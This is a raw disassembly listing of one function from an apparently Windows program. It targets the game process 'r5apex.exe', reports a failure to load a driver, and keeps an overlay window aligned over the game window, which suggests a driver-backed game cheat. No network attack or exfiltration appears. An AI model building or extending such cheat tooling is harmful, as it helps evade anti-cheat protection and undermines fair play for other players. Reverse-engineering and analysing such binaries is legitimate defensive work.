mov rcx, rax
call fcn.140056700
mov qword [rsp + 0x3c8], rax
mov rdx, qword [rsp + 0x3c8]
mov rcx, qword [rsp + 0x3d0]
call fcn.140050ac0
nop
mov dword [rsp + 0x4c], 2
jmp 0x1400631be
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x1400631be
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x138]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdx, qword [rsp + 0xc8]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rdx, qword [rsp + 0xd0]
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rdx, qword [rsp + 0xd8]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
nop
call fcn.14005cc10
movzx eax, al
test eax, eax
jne 0x1400635db
lea rdx, [0x1400d5110]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xac8]
mov qword [rsp + 0x3d8], rax
lea rdx, [0x1400d5114]
mov rcx, qword [rsp + 0x3d8]
call fcn.140054ce0
mov qword [rsp + 0x3e0], rax
mov edx, 4
mov rcx, qword [rsp + 0x3e0]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x3f0], rax
lea rdx, [rsp + 0x954]
lea rcx, [rsp + 0x65]
call fcn.1400569c0
mov rcx, rax
call fcn.140056760
mov qword [rsp + 0x3e8], rax
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rsp + 0x3f0]
call fcn.140050ac0
nop
mov dword [rsp + 0x74], 0
jmp 0x140063517
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 5
jge 0x140063531
mov edx, 0x64
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Beep]
nop
jmp 0x14006350d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.error.txt
lea rcx, [rsp + 0xf70]
call fcn.140054880
nop
lea rcx, [rsp + 0xf70]
call fcn.14005dc10
movzx eax, al
test eax, eax
je 0x1400635c4
lea rdx, str.Error___Driver_Not_Load
lea rcx, [rsp + 0xf70]
call fcn.140050ac0
mov qword [rsp + 0x3f8], rax
lea rdx, [0x1400538b0]
mov rcx, qword [rsp + 0x3f8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xf70]
call fcn.14005b200
lea rcx, str.start_notepad.exe_error.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
jmp 0x1400635cd
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rsp + 0xf70]
call fcn.140057020
nop
lea rcx, [rsp + 0x540]
call fcn.140055d90
nop
jmp 0x140063688
lea rdx, [0x1400d515c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xae8]
mov qword [rsp + 0x400], rax
lea rdx, [0x1400d5160]
mov rcx, qword [rsp + 0x400]
call fcn.140054ce0
mov qword [rsp + 0x408], rax
mov edx, 2
mov rcx, qword [rsp + 0x408]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x418], rax
lea rdx, [rsp + 0x998]
lea rcx, [rsp + 0x66]
call fcn.1400569f0
mov rcx, rax
call fcn.1400567c0
mov qword [rsp + 0x410], rax
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x418]
call fcn.140050ac0
nop
call fcn.14005cc10
mov ecx, 0x25f31
call fcn.14005ac50
lea rcx, str.r5apex.exe
call fcn.14005cd00
cdqe
mov qword [0x1403fd188], rax
cmp qword [0x1403fd0f0], 0
jne 0x1400636bc
call fcn.1400605c0
nop
mov rcx, qword [0x1403fd0f0]
call fcn.14005cfc0
call fcn.14005cc70
mov qword [0x1403fd190], rax
cmp qword [0x1403fd190], 0
jne 0x140063806
lea rdx, [0x1400d5174]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xb08]
mov qword [rsp + 0x420], rax
lea rdx, [0x1400d5178]
mov rcx, qword [rsp + 0x420]
call fcn.140054ce0
mov qword [rsp + 0x428], rax
mov edx, 4
mov rcx, qword [rsp + 0x428]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x438], rax
lea rdx, [rsp + 0x969]
lea rcx, [rsp + 0x67]
call fcn.140056a20
mov rcx, rax
call fcn.140056780
mov qword [rsp + 0x430], rax
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x438]
call fcn.140050ac0
nop
mov dword [rsp + 0x6c], 0
jmp 0x140063790
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 5
jge 0x1400637aa
mov edx, 0x64
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Beep]
nop
jmp 0x140063786
mov dword [rsp + 0xb4], 0
lea rcx, [rsp + 0x5d8]
call fcn.140055c40
nop
lea rcx, [rsp + 0x5b8]
call fcn.140055c40
nop
lea rcx, [rsp + 0xe8]
call fcn.140055dd0
nop
lea rcx, [rsp + 0x148]
call fcn.140055c40
nop
lea rcx, [rsp + 0x520]
call fcn.140055c40
mov eax, dword [rsp + 0xb4]
jmp 0x140063e04
lea rdx, [0x1400d517c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xb28]
mov qword [rsp + 0x440], rax
lea rdx, [0x1400d5180]
mov rcx, qword [rsp + 0x440]
call fcn.140054ce0
mov qword [rsp + 0x448], rax
mov edx, 2
mov rcx, qword [rsp + 0x448]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x458], rax
lea rdx, [rsp + 0x980]
lea rcx, [rsp + 0x68]
call fcn.140056a50
mov rcx, rax
call fcn.1400567a0
mov qword [rsp + 0x450], rax
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x458]
call fcn.140050ac0
nop
lea rdx, [0x1400d5184]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x460], rax
lea rdx, [0x1400d5188]
mov rcx, qword [rsp + 0x460]
call fcn.140054ce0
mov qword [rsp + 0x468], rax
mov edx, 2
mov rcx, qword [rsp + 0x468]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x478], rax
lea rdx, [rsp + 0x715]
lea rcx, [rsp + 0x69]
call fcn.140056a80
mov rcx, rax
call fcn.140056860
mov qword [rsp + 0x470], rax
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x478]
call fcn.140050ac0
mov qword [rsp + 0x480], rax
lea rdx, [0x14005bb90]
mov rcx, qword [rsp + 0x480]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov qword [rsp + 0x490], rax
mov rax, qword [0x1403fd188]
mov qword [rsp + 0x488], rax
mov rdx, qword [rsp + 0x488]
mov rcx, qword [rsp + 0x490]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
nop
lea rdx, [0x1400d518c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x498], rax
lea rdx, [0x1400d5190]
mov rcx, qword [rsp + 0x498]
call fcn.140054ce0
mov qword [rsp + 0x4a0], rax
mov edx, 2
mov rcx, qword [rsp + 0x4a0]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x4b0], rax
lea rdx, [rsp + 0x909]
lea rcx, [rsp + 0x6a]
call fcn.140056ab0
mov rcx, rax
call fcn.140056700
mov qword [rsp + 0x4a8], rax
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rsp + 0x4b0]
call fcn.140050ac0
mov qword [rsp + 0x4b8], rax
lea rdx, [0x14005cf20]
mov rcx, qword [rsp + 0x4b8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov qword [rsp + 0x4c8], rax
mov rax, qword [0x1403fd190]
mov qword [rsp + 0x4c0], rax
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rsp + 0x4c8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
nop
lea rdx, [0x140057600]
lea rcx, [rsp + 0x590]
call fcn.1400503a0
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x4d8], rax
mov rcx, qword [rsp + 0x4d8]
call fcn.14005c7c0
nop
lea rcx, [rsp + 0x590]
call fcn.140056140
nop
lea rax, [rsp + 0x5f8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_50
rep stosb byte [rdi], al
mov qword [rsp + 0xe0], 0
cmp dword [rsp + 0x600], 0x12
je 0x140063d85
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x1403fd0f0]
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140063b24
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
nop
jmp 0x140063ade
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0xe0], rax
mov rax, qword [0x1403fd0f8]
cmp qword [rsp + 0xe0], rax
jne 0x140063b92
mov edx, 3
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.USER32.dll_GetWindow]
mov qword [rsp + 0x4e0], rax
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [0x1403fd0f0]
call qword [sym.imp.USER32.dll_SetWindowPos]
nop
lea rdx, [rsp + 0x98]
mov rcx, qword [0x1403fd0f8]
call qword [sym.imp.USER32.dll_GetClientRect]
test eax, eax
je 0x140063ce0
lea rdx, [rsp + 0x90]
mov rcx, qword [0x1403fd0f8]
call qword [sym.imp.USER32.dll_ClientToScreen]
test eax, eax
je 0x140063ce0
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x9c], eax
mov eax, dword [0x1403fd610]
cmp dword [rsp + 0x98], eax
jne 0x140063c28
mov eax, dword [0x1403fd618]
cmp dword [rsp + 0xa0], eax
jne 0x140063c28
mov eax, dword [0x1403fd614]
cmp dword [rsp + 0x9c], eax
jne 0x140063c28
mov eax, dword [0x1403fd61c]
cmp dword [rsp + 0xa4], eax
je 0x140063ce0
lea rax, [0x1403fd610]
lea rcx, [rsp + 0x98]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xa0]
mov dword [0x1403fd23c], eax
mov eax, dword [rsp + 0xa4]
mov dword [0x1403fd1b8], eax
mov eax, dword [0x1403fd23c]
mov dword [0x1403fd0b0], eax
mov eax, dword [0x1403fd1b8]
mov dword [0x1403fd0b4], eax
mov dword [rsp + 0x30], 8
mov eax, dword [0x1403fd1b8]
mov dword [rsp + 0x28], eax
mov eax, dword [0x1403fd23c]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x94]
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov rcx, qword [0x1403fd0f0]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x1403fd0a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x80]
mov qword [rsp + 0x4e8], rax
lea rdx, [0x1403fd0b0]
mov rcx, qword [0x1403fd0a0]
call qword [rsp + 0x4e8]
nop
call fcn.14000ef80
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x578]
mov qword [rax + 0xc0], rcx
mov rax, qword [rsp + 0x140]
movss xmm0, dword [0x1400cd8f8]
movss dword [rax + 0x10], xmm0
lea rcx, [rsp + 0x1080]
call fcn.140058570
mov qword [rsp + 0x4f8], rax
lea rax, [rsp + 0xba8]
mov rdi, rax
mov rsi, qword [rsp + 0x4f8]
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
lea rax, [0x1403fd1c0]
lea rcx, [rsp + 0xba8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
call fcn.1400589b0
nop
call fcn.14005dea0
nop
jmp 0x140063ad0
jmp 0x140063d87
call fcn.140041770
call fcn.140041d70
xor ecx, ecx
call fcn.14000c620
call fcn.14005af70
mov rcx, qword [0x1403fd0f0]
call qword [sym.imp.USER32.dll_DestroyWindow]
nop
mov eax, dword [0x1403fd110]
mov dword [rsp + 0xb8], eax
lea rcx, [rsp + 0x5d8]
call fcn.140055c40
nop
lea rcx, [rsp + 0x5b8]
call fcn.140055c40
nop
lea rcx, [rsp + 0xe8]
call fcn.140055dd0
nop
lea rcx, [rsp + 0x148]
call fcn.140055c40
nop
lea rcx, [rsp + 0x520]
call fcn.140055c40
mov eax, dword [rsp + 0xb8]
add rsp, 0x1448
pop rdi
pop rsi
ret